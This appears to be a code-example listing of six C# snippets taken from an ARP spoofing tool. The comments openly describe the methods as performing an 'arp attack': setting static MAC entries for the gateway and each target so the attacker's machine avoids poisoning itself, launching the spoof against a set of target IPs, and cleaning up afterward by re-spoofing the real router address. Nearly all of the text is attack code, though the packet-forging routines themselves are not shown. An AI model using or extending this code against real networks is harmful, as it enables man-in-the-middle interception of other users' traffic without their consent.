Example #1
0
 /*
  *  assure change back static addresses to dynamic so any change in network afterward
  *  will take effect on this machine
  */
 private void DeleteAllStaticMacAddresses(NetworkInterface networkInterface)
 {
     NetworkUtilites.DeleteStaticMac(networkInterface, _gatewayIp);
     foreach (var t in KvStore.TargetIps)
     {
         NetworkUtilites.DeleteStaticMac(networkInterface, t);
     }
 }
Example #2
0
 /*
  *  to perform arp attack you should change the mac address in the running machine for each target
  *  and the router to become 'Static' insted of 'Dynamic' so it doesn't change during the attack
  *
  *  - this is important, using dynamic mac address will cause self poison
  */
 private void InsertAllStaticMacAddresses(NetworkInterface networkInterface)
 {
     NetworkUtilites.InsertStaticMac(networkInterface, _gatewayIp, _gatewayMac);
     foreach (var t in KvStore.TargetIps)
     {
         NetworkUtilites.InsertStaticMac(networkInterface, t, KvStore.IpMac[t]);
     }
 }
Example #3
0
        public void Stop()
        {
            _status = Status.Stopping;
            var livePacketDevice = NetworkUtilites.GetLivePacketDevice(_myIp);

            if (livePacketDevice == null)
            {
                return;
            }
            PacketCommunicator communicator = livePacketDevice.Open(1, PacketDeviceOpenAttributes.None, 10);

            AfterAttack(livePacketDevice.GetNetworkInterface(), communicator);
            communicator.Dispose();
        }
Example #4
0
        /*
         *  find the mac of a given ip and add it to the KvStore and insert the found mac as static
         */
        private bool MakeSureTargetIsReadyToBeAttacked(NetworkInterface networkInterface, string target)
        {
            if (KvStore.IpMac.ContainsKey(target))
            {
                return(true);
            }

            var mac = NetworkUtilites.GetMacAddress(target);

            if (mac.Length <= 0)
            {
                return(false);
            }

            KvStore.IpMac[target] = mac;
            NetworkUtilites.InsertStaticMac(networkInterface, target, KvStore.IpMac[target]);
            return(true);
        }
Example #5
0
        /*
         *  the main method to start the arp attack
         */
        public void Spoof(string myIp, HashSet <string> targets)//hashset is used to eliminate duplicate IPs
        {
            if (_status != Status.Off)
            {
                return;
            }

            _status = Status.Starting;

            var livePacketDevice = NetworkUtilites.GetLivePacketDevice(myIp);

            KvStore.TargetIps.UnionWith(targets);
            _myIp       = myIp;
            _myMac      = livePacketDevice.GetMacAddress().ToString();
            _gatewayIp  = NetworkUtilites.GetGatewayIp(livePacketDevice);
            _gatewayMac = NetworkUtilites.GetMacAddress(_gatewayIp);

            KvStore.IpMac.Add(_myIp, _myMac);
            KvStore.IpMac.Add(_gatewayIp, _gatewayMac);

            /*targets rarely change their mac address, also this function considerd costly*/
            foreach (var ip in targets)
            {
                KvStore.IpMac.Add(ip, NetworkUtilites.GetMacAddress(ip));
            }

            var networkInterface = livePacketDevice.GetNetworkInterface();

            PacketCommunicator communicator = livePacketDevice.Open(50, PacketDeviceOpenAttributes.None, 50);

            BeforeAllAttack(livePacketDevice, communicator);

            SpoofContinuousAttack(communicator, networkInterface);/*block*/

            if (_status != Status.Stopped)
            {
                AfterAttack(networkInterface, communicator);
            }

            communicator.Dispose();
        }
Example #6
0
 /*
  *  clean up after attack by resetting mac addresses to dynamic and make a reverse attack to
  *  reconnect targets with the real router
  */
 private void AfterAttack(NetworkInterface networkInterface, PacketCommunicator communicator, string target)
 {
     SpoofRealAddress(communicator, target);
     NetworkUtilites.DeleteStaticMac(networkInterface, target);
 }